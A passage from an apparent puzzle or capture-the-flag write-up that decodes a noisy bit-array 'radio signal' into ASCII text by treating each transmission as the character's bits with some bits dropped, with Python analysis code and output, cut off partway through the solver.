0], [0, 1, 1, 0, 0, 0], [0, 0, 1, 0, 0], [1, 1, 0, 0, 0, 0], [0, 0, 1, 0], [1, 1, 0, 0], [0, 1, 1, 0, 0], [0, 0, 0, 0, 0], [0, 1, 1, 0, 0, 0]], [[1, 1, 1, 0, 0, 0], [0, 1, 0, 0, 0], [1, 1, 0, 0], [1, 0, 0, 0], [0, 1, 1, 1, 0, 0], [0, 1, 1, 1, 0, 0], [0, 1, 1, 0, 0], [0, 1, 0, 0, 0], [0, 1, 1, 0, 0], [0, 0], [0, 1, 0, 0, 0], [0, 1, 1, 0, 0, 0], [0, 0], [0, 1, 1, 0, 0, 0], [0, 1, 1, 0, 0, 0]], [[0, 1, 0, 1, 0], [0, 0], [0, 1, 0, 1, 0], [0, 0, 1, 1, 0, 0], [0, 1, 0, 1, 0, 0], [0, 1, 0, 1, 0], [0, 1, 0, 0, 0, 0], [0, 1, 0, 0, 1, 1], [0, 0, 1, 0], [1, 0, 0, 1, 0, 0], [1, 0, 0, 1, 1, 0], [0, 1, 0, 1, 1, 0], [0, 0, 0, 1, 0], [0, 0, 0, 1, 0], [0, 0, 0], [0, 0, 1, 1, 0], [0, 0, 1, 0], [0, 0, 1, 1, 0], [1, 0, 1, 0, 0], [0, 1, 0, 1, 0], [0, 1, 1, 1, 0], [1, 0, 0, 1, 0], [1, 0, 1, 0], [0, 1, 0, 1, 0], [1, 0, 0, 1, 0], [0, 0, 0, 1, 1], [0, 0, 0, 1, 0, 0], [0, 1, 0], [1, 0, 0, 1, 1, 0]], [[1, 1, 1], [0, 1, 0, 0], [0, 1, 0, 1], [0, 0, 0, 1, 1], [0, 0, 1, 1], [0, 1, 1, 1], [0, 1, 1, 0, 0, 1], [0, 1, 1, 0, 1, 1], [0, 1, 1, 1], [1, 0, 1], [1, 0, 0], [0, 1, 1, 0, 1], [0, 0, 1, 1], [0, 0, 1, 0, 1, 1], [0, 1, 0, 0, 1], [0, 0, 1, 0, 1], [0, 1, 1, 0, 1]], [[0, 1, 1, 1, 0], [0, 0, 0, 1, 0, 0], [0, 0, 1, 1, 1], [0, 0, 1, 0, 1, 0], [0, 0, 0, 0], [0, 0, 1, 1, 0], [1, 0, 0], [0, 1, 1, 0, 0], [0, 1, 1, 1, 0], [0, 1, 1, 1, 0, 0], [0, 0, 1, 1], [0, 1, 1, 0], [0, 0, 1, 1, 0, 0], [0, 1, 1, 0], [0, 0, 1, 1, 0, 0], [0, 0, 1, 1, 0], [0, 1, 0, 1, 0], [0, 0, 1, 0, 0]], [[1, 0, 1, 1, 1], [0, 0, 1, 1, 1], [1, 1, 1, 1], [0, 1], [0, 1, 0, 1, 1, 1], [0, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 0, 1], [0, 1, 1, 1, 1, 1], [0, 0, 1, 1, 1], [1, 0, 1, 1, 1, 1], [1, 0, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 0, 1, 1, 1], [0, 0, 1, 1, 1], [0, 1, 0, 1, 1], [1, 0, 1, 1, 1, 1]], [[0, 1, 0, 0, 1], [0, 0, 1, 0, 1], [0, 1, 1, 1], [1, 0, 0, 1, 1, 1], [0, 0, 1, 0], [0, 0, 1], [1, 0, 1, 1, 1, 1], [0, 0, 1, 1], [0, 1, 0, 0, 1], [0, 1, 1, 1, 1], [1, 1, 0, 1, 1, 1], [0, 0, 0, 1, 1], [0, 1, 0, 1, 1], [0, 1, 0, 1]], [[0, 1, 1, 0], [0, 0, 1, 0, 0, 0], [1, 0, 1, 0, 0, 0], [0, 1, 1, 1, 0, 0], [0, 0, 0, 0], [1, 1, 0, 0], [0, 1, 0, 0, 0], [0, 0, 0], [0, 1, 1, 0, 0], [0, 1, 1, 0, 0, 0], [0, 1, 0, 0, 0, 0], [1, 1, 0, 0], [0, 1, 1, 0, 1, 0]], [[0, 1, 0, 1, 1, 1], [1, 0, 1, 0, 0, 1], [1, 0, 1, 1, 0, 1], [1, 0, 1, 1, 0, 1], [1, 1, 0, 0, 1], [0, 1, 1, 1, 0, 0], [1, 0, 0, 0, 1], [1, 1, 0], [0, 1, 1, 1, 0, 1], [0, 1, 1, 1, 0, 1], [0, 1], [0, 1, 1, 0], [0, 0, 1, 1, 0], [0, 1, 1, 0, 1], [1, 0, 1, 0, 0], [1, 1, 0, 1], [1, 0, 1, 1, 0, 1]], [[1, 1, 1, 1, 1], [1, 1, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 1, 1, 1], [0, 1, 0, 1, 1], [0, 1, 1, 1, 1], [1, 0, 1, 1], [0, 1, 0, 1, 1], [0, 0, 1], [0, 0, 1, 1, 1, 1], [0, 1, 1, 1], [1, 1, 1], [0, 1, 0, 1, 1, 1], [1, 1, 1, 1], [0, 1, 0, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 1, 1], [0, 1, 1, 1, 1]], [[0, 1, 0, 1, 1], [0, 0, 0, 1, 0, 1], [0, 0, 1, 1], [0, 1, 0, 1, 0, 1], [0, 1, 0, 1, 1], [0, 0, 1, 1, 1], [0, 0, 1, 1], [0, 1], [0, 1, 0, 1, 1, 1], [0, 0, 1, 1], [0, 0, 0, 1, 1], [0, 1, 0, 0, 0, 1], [0, 1, 0, 1], [0, 0, 0, 1, 1], [0, 1, 0, 1, 0, 1], [0, 0, 0, 1, 1]], [[0, 1, 0, 1, 0], [0, 0, 1, 1, 0, 0], [0, 1, 1, 0], [0, 1, 0, 1], [0, 0, 1, 0, 0], [0, 0, 1, 1, 0, 0], [0, 1, 0, 1, 0, 0], [0, 1, 0, 0], [1, 0], [0, 1, 1, 0, 0], [0, 1, 0, 1, 0, 0], [0, 0, 1, 1, 1, 0], [0, 1, 0, 1, 0], [0, 1, 1, 0, 1, 0], [0, 1, 1, 0, 0], [0, 0, 1, 0, 0, 0], [0, 0, 1, 0, 1, 0], [0, 1, 0, 1, 0, 0], [1], [0, 1, 1], [0, 1, 1, 0, 1], [0, 1, 0, 1, 0, 0], [0, 0, 1, 0], [0, 0, 1, 0, 1, 0], [0, 0, 0, 0]], [[0, 0, 1, 1, 1], [0, 0, 1, 0, 1], [0, 1, 1, 1], [0, 0, 1, 1, 1], [1, 0, 1], [1, 1, 1], [0, 0, 0, 1], [0, 0, 1, 1, 1], [0, 1, 0, 1, 1], [0, 0, 1], [0, 0, 0, 0, 1, 1], [0, 1], [0, 0, 0, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 0, 1], [0, 0, 0, 1, 1], [0, 1], [1, 1, 1], [0, 1, 0, 1], [1, 0, 0, 1, 1], [0, 0, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 0, 1], [0, 1, 0, 0, 1, 1], [0, 0, 0, 1, 1], [1, 0, 1], [0, 1, 1, 1], [0, 1], [0, 0, 1, 1, 1], [0, 0, 1, 0, 1], [0, 1, 0, 1, 1], [0, 0]], [[0, 1, 1, 1, 0], [0, 1, 0, 1, 1, 0], [1, 0, 0, 1, 1, 1], [0, 1, 0, 1, 1, 0], [0, 0, 1], [0, 1, 0, 1, 1], [0, 1, 0, 0, 1, 0], [0, 1, 1, 1, 0], [0, 0, 1, 0], [0, 1, 0, 1], [0, 1], [0, 1, 0, 1, 1, 1], [0, 1, 1, 1, 0], [1, 0, 1], [0, 1, 0, 0, 1, 0], [1, 1, 1, 0], [0, 1, 1, 0]], [[1, 0, 0], [0, 1, 1, 0, 1, 0], [0, 1, 1, 1, 0], [0, 1, 1, 0, 0], [0, 1, 1, 0, 1, 0], [1], [1, 1, 0, 0], [1, 1, 1, 0], [1, 1, 0, 0, 0], [0, 1, 0, 1, 0, 0], [0], [1, 0], [1, 0, 0], [0, 1, 0, 0, 0], [0, 1, 1, 0, 0], [0, 1, 1, 0, 1, 0], [1, 1, 0, 1, 0], [1, 1, 0, 0, 0], [0, 1, 1, 1, 1, 0], [0, 1, 1, 1, 0, 0], [0, 1, 1, 0, 0], [1, 1, 1, 0, 0], [0, 1, 1, 0, 0], [0, 1, 1, 0, 1, 0], [0, 1, 1, 0], [0, 1, 1, 0, 1, 0], [1, 1, 0, 1, 0, 0], [0, 1, 0, 0], [1, 1, 1, 0, 1, 0]], [[1, 1, 1, 1], [0, 1, 0, 1, 1, 1], [1, 0, 1], [1, 0, 1, 1], [0, 1, 1, 1], [1, 0, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 1, 1, 1, 1], [0, 1], [0, 0, 1, 1], [0, 1, 1, 1], [0, 1, 1, 1, 1], [0, 0, 1, 1]], [[1, 0, 1, 1, 1], [1, 1, 1, 1], [0, 1, 1, 0, 1, 1], [1, 1, 1, 0, 1, 1], [0, 1, 1, 0, 1], [1, 1, 0, 1, 1], [0, 1, 1, 1, 1], [1, 1, 1, 0, 1, 1], [1, 0, 1, 1], [0, 1, 1, 0], [0, 1, 1, 1], [1, 1, 1, 1, 1], [1, 1, 1, 1], [1, 0, 1, 1], [0, 1, 1, 0], [0, 1, 0, 1, 1], [0, 1, 1, 1, 1, 1], [0, 0, 1, 1, 1], [0, 1, 1, 0, 1, 1], [1, 1, 0, 1, 1], [0, 1, 1, 1, 0, 1], [0, 1, 0, 1]], [[0, 1, 0, 0, 1, 1], [0, 1, 1, 0, 1], [0, 1, 1, 0, 0, 1], [1, 1, 0, 1, 1], [0, 0, 1, 1, 0, 1], [0, 0, 1, 0, 1, 1], [0, 0, 1, 0, 1], [0, 1, 0, 0, 1], [0, 1, 1, 0, 0, 1], [0, 1, 1], [1, 0, 0, 1, 1], [0, 1, 1, 0, 1, 1]], [[0, 1, 0, 1, 1, 1], [0, 1, 1, 1], [0, 0, 1, 1, 1], [1, 0, 1, 1], [0, 1, 0, 1, 1], [1, 0, 1, 1, 1], [0, 1, 1, 1], [0, 1, 1, 1], [0, 1, 0, 1, 1], [0, 1, 1, 1], [0, 1, 1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1], [0, 1, 1, 1, 1, 1], [0, 1, 1, 1], [0, 0, 1, 1], [1, 0, 1, 1, 1, 1], [0, 1, 1, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 1, 1, 1], [0, 1, 1, 1]], [[1, 0, 0], [0, 0, 1, 0, 1, 0], [0, 1, 1], [0, 0, 1, 1, 1, 0], [0, 1, 0, 1, 0, 0], [1, 0, 1, 0, 0], [0, 0, 0], [0, 0, 1, 1, 0, 0], [0, 0, 1, 1, 1, 0], [0, 1, 1, 1, 0, 0], [0, 0], [0, 1, 0, 0]], [[0, 0, 0, 1, 0], [0, 1, 0, 1, 0, 0], [0, 1, 0, 1, 0], [0, 1, 1, 0], [0, 1, 0, 0], [0, 1, 0, 1, 0], [1, 0, 1, 1, 0], [0, 0, 1, 1, 0, 0], [0, 1, 0, 1, 1, 0], [1, 0, 0, 1, 1, 0], [1, 0, 1, 1, 0, 0], [1, 1, 1, 0], [1, 0, 0, 1, 1, 0], [0, 1, 0, 0, 1, 0], [0, 0, 1, 0, 0], [0, 1, 0, 1, 1, 0], [0, 1, 0, 0, 0]], [[0, 0, 1, 0, 0], [0, 0, 1, 0], [0, 1, 0, 1, 1, 0], [1, 0, 0, 1, 0], [0, 1, 0, 1, 1, 0], [1, 0, 0, 1, 0], [0, 1, 0, 1], [0, 1, 0, 1, 0, 0], [0, 1, 0], [0, 1, 0, 0, 1, 1], [0, 0, 0], [0, 1, 0, 1, 0, 0], [0, 1, 0, 1, 0, 0], [0, 1, 0, 0], [0, 1, 0, 1, 0, 0], [0, 0, 1, 0], [0, 1, 0, 0, 0], [0, 1, 0, 0, 1, 0], [0, 1, 1, 0, 0], [0, 1, 0]], [[1, 0, 1, 1, 1], [1, 0, 1, 1, 1], [1, 0, 1, 1, 1], [0, 1, 0, 1, 1], [1, 0, 1, 1, 1, 1], [0, 0, 1], [0, 1, 1, 1, 1], [1, 1, 1], [1, 1, 1, 1, 1], [0, 1, 1, 1, 1, 1], [0, 1, 0, 1, 1, 1], [1, 1], [0, 0, 1, 1], [1, 1, 1], [0, 1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]], [[1, 0, 1, 1, 0], [0, 1, 0, 1, 0, 0], [0, 0, 1, 0], [1, 0, 0, 1, 0], [0, 1, 0, 1], [1, 0, 0, 0, 1], [0, 1, 0, 0, 0], [0, 1, 0, 1, 1, 0], [0, 1, 0, 0, 1, 0], [0, 1], [0, 1, 0, 0, 0], [0, 1, 0, 0], [1, 0, 0, 1, 0], [1, 0, 1, 1, 0], [0, 1], [0, 1, 0, 0, 1], [0, 0, 0, 1, 0], [1, 0, 1, 0], [0, 1, 0, 1, 0, 1], [0, 1, 1, 0]], [[0, 1, 1, 0, 1], [0, 1, 1, 1, 0, 1], [0, 1, 1], [0, 0, 1, 1], [0, 1, 1, 1, 0, 1], [0, 1, 1, 0, 1], [0, 1, 0, 1, 0, 1], [0, 1, 1, 1, 1], [0, 1, 1, 0, 0], [0, 1, 1, 0, 0, 1], [0, 1, 0, 1, 0], [1, 1, 0, 1, 0, 1], [1, 1, 0, 1, 0, 1], [0, 1, 0, 1], [0, 1, 0, 1, 0], [0, 1, 1, 0, 0, 1], [0, 1, 0, 1], [0, 1], [1, 1, 1, 1, 1], [0, 1, 1, 1, 1, 1]], [[0, 1, 1, 0, 0], [0, 1, 1, 0, 1, 1], [0, 0, 1, 1], [0, 0, 1, 0, 1], [1, 1, 0, 1, 0], [0, 0, 0, 1, 0], [0, 1, 1], [0, 1, 1, 0, 0, 1], [0, 0], [0, 0, 1, 0, 1, 1], [0, 1, 0, 1, 0], [0, 0, 1, 0, 1, 1], [0, 0, 1, 0, 1], [1, 1, 0], [0, 0, 1, 0, 1], [0, 1, 0, 0], [1, 0, 1, 1]], [[0, 1, 1, 0, 0], [0, 1, 0, 1, 0, 0], [1, 1, 1, 0, 0], [1, 1, 0, 1, 0], [0, 1, 1, 1, 0, 0], [0, 1, 1, 0, 1, 0], [1, 1, 0], [0, 1, 0, 0], [0, 0, 1, 0], [0, 1, 0, 1, 0, 0], [1, 1, 0, 1, 0, 0], [0, 1, 1, 1, 0, 1], [0, 1, 1, 0, 0, 0], [1, 1]], [[0, 0, 1, 1, 1], [0, 1, 1, 1, 1, 1], [1, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 1, 1, 1, 1], [0, 1, 1], [0, 1, 0, 1, 1], [1, 1, 1, 1], [0, 1, 0, 1, 1], [1, 1, 1, 1, 1], [0, 1, 1, 1, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 1, 1, 1], [1, 1, 1, 1], [0, 0, 1, 1, 1, 1], [1, 0, 1, 1], [0, 0, 1, 1, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 0, 1, 1], [0, 1, 1, 1], [0, 0, 1, 1], [0, 1, 0, 1, 1], [1, 1, 1, 1]], [[1, 1, 0], [0, 1, 0, 1], [0, 1, 1, 1, 0, 0], [0, 0, 1, 1, 0, 0], [0, 0, 1, 1, 1], [0, 1, 1, 0, 1], [0, 1, 0], [0, 0, 1, 1, 0, 0], [0, 1, 0, 0, 1], [0, 0, 1, 1, 0, 0], [0, 0, 1, 0, 0], [0, 1, 1, 0, 1]], [[1, 1, 0, 1, 1], [0, 1, 1, 0, 0], [0, 0, 1, 0, 0, 1], [0, 0, 1, 0, 1, 1], [1, 1, 0, 0, 1, 1], [0, 0, 1, 0, 1, 1], [1, 1, 0, 0], [0, 0, 1, 1, 0, 1], [0, 1, 0, 1], [0, 0, 1], [0, 0, 1, 1, 0, 1], [1, 0, 0, 1], [0, 0, 1, 1, 1], [0, 0, 1, 1, 0, 1], [0, 0, 1, 0, 0], [0, 0, 1, 1, 0, 1], [0, 1, 1, 0, 0, 1], [0, 1, 1, 0, 1], [0, 0, 1, 1, 0, 0]], [[0, 1, 1, 0, 1, 0], [1, 1, 0, 1, 0], [0, 1, 1, 1, 0, 0], [0, 1, 1, 0], [0, 1, 1, 0, 1, 0], [1, 0, 1, 0, 0], [0, 1, 1, 0], [1, 0, 0], [0, 1, 1, 0], [0, 1, 0], [0, 1, 1, 0, 1, 0], [0, 1, 1, 0, 0], [1, 1, 0], [1, 1, 1, 0], [1, 1, 0, 0], [1, 1, 0, 1, 0, 0], [1, 1, 0, 0], [0, 1, 0, 0, 0], [0, 1, 1, 0, 1, 0], [1, 1, 1, 0], [1, 1, 0, 0, 0], [1, 1, 1, 0], [0, 1, 1, 0, 0, 0], [0, 1, 1, 1, 0, 1], [1, 1, 1, 0, 0], [0, 1, 1, 0, 1, 0], [1, 1, 1, 0, 0], [0, 1, 1, 1]], [[1, 0, 1, 1, 1], [0, 1, 1, 1, 1], [0, 1, 0, 1, 1], [0, 1, 0, 1, 1, 1], [1, 1], [0, 1, 0, 1, 1, 1], [1, 0, 1, 1, 1, 1], [0, 0, 1, 1], [0, 1, 1, 1, 1, 1], [0, 1, 1, 1], [0, 1, 1, 1, 1], [1, 1, 1, 1]], [[1, 0], [0, 0, 1, 0, 0], [0, 1, 1, 0, 0], [1, 1, 1, 0, 0], [0, 1, 1, 0, 1, 0], [1, 0], [0, 1, 0, 0, 0], [1, 0], [1, 0, 1, 0, 0], [0, 0, 0], [1, 0, 0, 0], [0, 0, 1, 1], [1, 0, 1], [0, 0, 1, 1, 0, 0], [0, 0, 1, 0, 1, 0], [1, 0, 1], [0, 0, 1, 0, 0], [0, 1, 0, 0, 0], [1, 0, 1, 0, 0], [0, 0, 1, 0, 1, 0]], [[0, 0, 1], [0, 0, 1], [0, 1, 0, 0, 1, 0], [1, 0, 0, 1, 0], [0, 0, 0, 1, 1, 0], [0, 0, 0], [1, 0, 1, 1, 0], [0, 1, 0, 1, 1, 0], [0, 1, 0, 0], [1, 0, 1, 0], [0, 1, 1, 0, 0], [0, 1, 0, 0, 1], [0, 1, 0, 0, 0], [0, 1, 0], [0, 0, 1, 0], [0, 1, 0, 0, 1, 0], [0, 0, 0, 1, 1], [0, 0, 1, 0, 0], [0, 1, 0, 0, 0], [0, 1, 0, 0, 1]], [[0, 1, 0, 0, 0], [0, 0, 1, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 1, 0, 0], [0, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0], [0, 1, 1, 0, 0], [0, 0, 1, 1, 0], [0, 1, 1, 0], [0, 1, 1, 0, 0], [0, 0, 1, 1, 0, 0], [0, 1, 0, 0, 0], [0, 0, 1, 1, 0, 0], [0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 1, 0, 0, 0], [1, 0, 0], [0, 0, 1, 1, 0, 0], [0, 0, 1, 0, 0], [0, 1, 0, 0, 0], [0, 0, 1, 0, 0, 0], [0, 0, 0, 0], [0, 0, 1, 0, 0], [1, 0, 0, 0, 0], [0, 1, 0, 0], [0, 0, 1, 0], [0, 0, 0], [0, 0, 1, 1, 0], [0, 1, 1, 0, 0], [0, 0, 1, 0, 0]], [[0, 0, 1, 0], [0, 1, 0, 1, 1, 0], [0, 1, 1], [1, 0], [1, 0, 0, 1, 1], [0, 1, 0, 1], [0, 1, 0, 1, 1], [1, 0, 0, 1, 1, 0], [1, 1, 1, 1, 0], [0, 0, 0], [0, 1, 1, 1], [0, 1, 0, 0, 1], [0, 1, 0, 1, 1, 1], [1, 0, 1, 0], [0, 0, 0, 1], [0, 1, 1, 1, 1], [0, 1, 1, 1, 1, 0], [1, 1, 1, 0], [0, 1, 1, 1, 0], [0, 1, 0, 1, 1, 0], [0, 1, 0, 1, 1], [0, 1, 0, 1, 1, 0], [0, 1, 0, 1, 1, 0], [0, 1, 0, 1, 1, 1], [0, 1, 0, 1, 1, 0], [0, 0, 0, 1, 1], [0, 1], [0, 1, 1, 1], [0, 1, 0, 1, 1, 0]], [[0, 1, 0, 0, 1], [0, 0, 1, 1, 0, 1], [0, 1, 0, 0], [0, 1, 1, 0, 0, 1], [1, 1, 0, 0, 1], [0, 1, 0], [0, 0, 1, 1, 0, 1], [0, 1, 1, 1, 0, 0], [0, 0, 1, 1, 0], [0, 1, 1, 1, 0, 1], [0, 0, 1, 0, 0, 1]], [[1, 1], [0, 0, 1, 1, 1], [0, 1, 1], [1, 1, 1, 1], [0, 0, 1, 1, 1, 1], [0, 1, 1, 1, 1, 1], [0, 0, 1, 1], [0, 1, 1, 1], [0, 1, 1], [0, 0, 1, 1, 1], [1, 1, 1, 1, 1], [0, 1, 1, 1, 1, 1], [0, 0, 1, 1, 1], [0, 1, 1, 1, 1], [0, 1, 1, 1, 1], [0, 0, 1, 1, 1], [0, 1, 1], [1, 1, 1, 1], [0, 0, 1, 1, 1], [0, 0, 1, 1, 1], [0, 1, 1, 1], [0, 1], [0, 1, 1, 1, 1], [0, 1, 1, 1, 1], [0, 1, 1, 1, 1, 1], [0, 1, 1, 1], [0, 0, 1, 1, 1], [0, 0, 1, 1, 1, 1], [1, 1, 1, 1], [0, 1, 1, 1, 1, 1], [1, 1, 1, 1]], [[0, 1, 1, 1, 1, 1], [0, 1, 1], [0, 1, 1, 1, 0, 1], [0, 1, 1, 0], [0, 1, 1, 1, 1], [0, 1, 1, 1, 1, 0], [1, 1, 1, 1, 1], [1, 1, 1, 1, 0, 1], [1, 1, 1, 1, 0, 1], [1, 1, 1, 1, 0, 1], [0, 1, 1, 1], [0, 1, 1, 1, 1, 0], [0, 1, 1, 1, 0, 1], [0, 1, 1, 1, 0, 1], [0, 1, 1, 1, 0, 1], [0, 1, 1, 1, 1, 1], [0, 1, 1, 1, 1], [0, 1, 1], [1, 1, 1, 1, 1], [1, 1, 1, 0, 1], [1, 1, 1], [0, 1, 1, 0], [0, 1, 1], [0, 1, 1, 1], [0, 1, 1, 1, 1], [0, 1, 1, 0, 1]]]
```
## Solution
We know that the first message is decoded as "`Bang, zoom, straight to the moon!`". We can see that the representations include an array of arrays of arrays:
```python
>>> import json
>>> file_name = "first_signal.txt"
>>> with open(file_name) as f:
... j = json.loads(f.read())
...
>>> len(j)
33
>>> len("Bang, zoom, straight to the moon!")
33
```
We see that each 2nd-level array probably represents a letter, since the number of letters in the plaintext is equal to the number of 2nd-level arrays. We also see that the internal arrays are composed of zeros and ones.
Let's try to view the first signal in a more compact way for easier analysis:
```python
import json
def analyze(file_name):
with open(file_name) as f:
j = json.loads(f.read())
for letter, arr in zip("Bang, zoom, straight to the moon!", j):
values = []
for a in arr:
if len(a) > 0:
byte = "".join([str(x) for x in a])
values.append(byte)
print ("{} ({}):\t{}".format(letter, format(ord(letter), 'b').zfill(8), values))
analyze("first_signal.txt")
```
Output:
```
B (01000010): ['000010', '01', '00000', '0100', '1000', '00001', '10000', '10001', '00001', '010001', '0010', '00010', '100001', '000010']
a (01100001): ['0001', '11000', '110001', '000', '011001', '11001', '01001', '10001', '010001', '01001', '11']
n (01101110): ['111', '011110', '01111', '011011', '010110', '01010', '0110', '011110', '111110', '01110', '01010', '01110', '11011', '01011', '011', '011010', '1011', '111110', '01101', '10111']
g (01100111): ['01111', '01101', '0', '010111', '0011', '01011', '010011', '011001', '01111', '01011', '01', '010011', '11011', '1101', '010111', '01011', '0101', '00011', '11011', '101', '0111', '11011', '00111', '100111', '01011', '0101', '0101']
, (00101100): ['0110', '0100', '00110', '011100', '00101', '011', '1100', '000110', '00100', '011100', '0010', '1010', '001010', '10100', '00110', '010', '000100', '000', '010110', '010110', '000110', '101100', '001010']
(00100000): ['00000', '01000', '01000', '00100', '001000', '0000', '0000', '00100', '100', '00000', '000', '00000', '01000', '0000', '01000', '0000', '00100', '00000']
z (01111010): ['01110', '1101', '111100', '010', '1110', '011111', '111100', '011110', '011101', '011100', '011100', '1101', '01111', '01110', '011101', '011010', '011010', '1100', '010', '0110', '01110', '1010', '01101']
o (01101111): ['01111', '1011', '00111', '011011', '11111', '11', '01111', '01111', '010111', '110111', '010111', '10111', '0111', '1101', '1101', '011011', '01111', '11111', '011111', '011011', '1111', '01011', '10111']
o (01101111): ['1111', '110111', '111', '0101', '01111', '10111', '1111', '10111', '01011', '110111', '010111', '011011', '01011', '01111', '01011', '1', '010111', '1011', '011011', '111', '10111', '011111', '1111', '111', '01', '11']
m (01101101): ['111', '011', '011111', '0101', '1011', '0111', '1011', '110101', '110101', '111', '011010', '01', '011010', '01101', '0101', '0110', '1101', '0110', '110110', '1111', '0101', '0101', '110', '01011', '01111', '10110', '100']
, (00101100): ['000100', '001100', '001010', '00100', '01100', '010', '10100', '01010', '010100', '110', '01010', '00110', '010100', '01010', '001010', '00100', '0010', '0010', '01100', '100', '00011', '00101', '0011', '10100', '000110', '0100']
(00100000): ['00000', '0100', '01000', '1000', '001000', '000', '00', '1000', '1000', '0100', '000000', '000000', '00100', '01000', '001000', '01000', '10000']
s (01110011): ['011101', '1111', '0110', '11101', '111011', '01001', '0001', '0111', '01001', '011101', '011', '1001', '011011', '0111', '011001', '11011', '01001', '001', '11011', '1110', '0101', '01111', '01110', '101', '01001', '011', '001', '0111', '01110', '011011']
t (01110100): ['110100', '01110', '011000', '01110', '110100', '011010', '0110', '11100', '011000', '10100', '01000', '011110', '01100', '110', '01000', '01110', '01100', '01010', '0', '1010', '010100', '01100', '11010']
r (01110010): ['0101', '01000', '111000', '011101', '110010', '011000', '0101', '11100', '10', '01110', '11010', '10', '11001', '1100', '0110', '0010']
a (01100001): ['00', '011000', '000', '01000', '11001', '01001', '010001', '10001', '1100', '000', '01001', '001', '01001', '010001', '11000', '10001']
i (01101001): ['001001', '0001', '110100', '01001', '010100', '010001', '01001', '011000', '010001', '010101', '010001', '1110', '101', '00100', '01001', '01101', '10001', '1010', '101', '011001', '10101', '11010']
g (01100111): ['11001', '01111', '11001', '11011', '010011', '00111', '01111', '011001', '01011', '00111', '11001', '011', '01011', '010011', '100111', '001', '110011', '011001', '0011', '0101', '01111', '1011', '010']
h (01101000): ['0100', '1000', '011100', '00100', '1100', '11010', '01100', '101000', '011100', '01100', '1100', '00100', '011100', '11010', '011010', '010100', '1100', '1010', '11000']
t (01110100): ['111010', '111000', '0111', '1100', '11010', '0111', '010100', '111010', '0100', '11010', '01010', '010100', '0110', '01100', '010100']
(00100000): ['010000', '01000', '000', '0000', '01000', '001000', '000000', '010000', '0000', '01000', '00', '01000', '001', '010000', '01000', '010000']
t (01110100): ['11000', '11100', '01100', '11100', '011100', '011010', '0110', '010', '011100', '01010', '01010', '111010', '1100', '01010', '0110', '01100']
o (01101111): ['01111', '10111', '11011', '01111', '11111', '1111', '11011', '001', '01111', '0111', '111', '01111']
(00100000): ['000000', '00100', '0000', '01000', '00000', '01000', '000000', '00100', '00000', '00000', '001000', '100000', '00', '00000', '0000', '000000', '0000', '00000', '001000', '01000', '01000', '010000', '100000', '100', '10000']
t (01110100): ['011010', '0111', '110100', '11100', '011101', '1010', '11010', '01110', '1010', '01100', '011010', '01100', '111010', '0110', '01010', '011010', '011010', '01110', '01110', '11101', '010100', '11100', '011010']
h (01101000): ['0100', '010000', '1110', '011000', '101000', '011100', '01100', '0111', '01000', '01100', '0110', '00100', '01100', '011100', '010100']
e (01100101): ['010', '11010', '01111', '1100', '01101', '011001', '010011', '0100', '011001', '0011', '10', '01011', '010011', '010001', '011001', '10', '100101', '00010', '110010']
(00100000): ['001000', '00000', '000000', '0000', '000000', '1', '001000', '01000', '100', '000000', '01000', '0010', '01000', '000', '0000', '000', '000', '10000', '00', '001000', '01000', '100000', '00100', '10000', '001000', '0000']
m (01101101): ['110101', '01111', '01011', '011110', '101101', '011011', '0110', '01010', '10101', '011101', '101101', '101101', '0111', '010110', '10101', '01011', '01101', '01011', '010101', '011110']
o (01101111): ['101', '010111', '01111', '11011', '0111', '01011', '10111', '011111', '0011', '011011', '111', '01111', '1111', '11111', '010111', '101111', '11', '0110', '0101', '01011', '111', '01011', '0111', '011011', '01111', '011011', '111']
o (01101111): ['011111', '01101', '1011', '010111', '101', '010111', '111', '1101', '111', '0111', '011011', '01111']
n (01101110): ['0111', '11', '11111', '011110', '01110', '010', '1110', '01110', '00110', '0110', '010', '011011', '010111', '010111', '0101', '0110', '010110', '011110', '111', '01011', '110111', '110', '01100']
! (00100001): ['00000', '000001', '001001', '00001', '000', '0100', '01000', '0001', '0000', '001001', '00100', '010001', '01000', '0000', '00001']
```
What we see here is each 2nd level array coupled with matching letter from the decoded message.
Here are some observations:
* Identical letters don't translate to identical internal arrays
* The number of elements in an internal array is never over 8
* The number of zeroes in an internal array is never more than the number of zeroes in the binary representation of the ASCII value of the matching message character
* The number of ones in an internal array is never more than the number of ones in the binary representation of the ASCII value of the matching message character
Given these observations, we can come up with the following theory:
* The noisy radio signal is coming from a star far-far away
* The signal encodes a message, which is composed of multiple characters
* Each character is transmitted multiple times, using the ASCII representation of the character. However, due to the distance, several bits from each transmission are dropped each time, and only a subset of the original transmission arrives each time
Let's see this with an example, using the transmission of the letter `a`:
```
a (01100001): ['0001', '11000', '110001', '000', '011001', '11001', '01001', '10001', '010001', '01001', '11']
```
The sender tried to transmit the letter `a` 11 times. Each time, different bits were dropped. We'll represent dropped bits with `x` (for some transmissions, it's possible to place the missed bit(s) in several different places - we'll show only one possible placement).
```
01100001 <-- Original transmission
xxxx0001
x11000xx
x11000x1
xxx000xx
01100xx1
x1100xx1
0x100xx1
xx1000x1
0x1000x1
0x100xx1
x11xxxxx
```
Here is how the implementation would look like:
```python
from typing import Iterable
from itertools import zip_longest
import json, string, sys
ALPHABET = string.printable
def is_ordered_subset(target: Iterable, sample: Iterable) -> bool:
ti = 0
si = 0
while ti < len(target) and si < len(sample):
if target[ti] == sample[si]:
ti += 1
si +=1
else:
ti += 1
return si == len(sample)
def solve(file: str, expected_output: str = None):
exp_output = list(expected_output) if expected_output is not None else [None]
match_count = 0
with open(file) as f:
j = json.loads(f.read())
for expected_char, arr in zip_longest(exp_output, j):
values = []
for char in ALPHABET:
for a in arr:
if len(a) > 0:
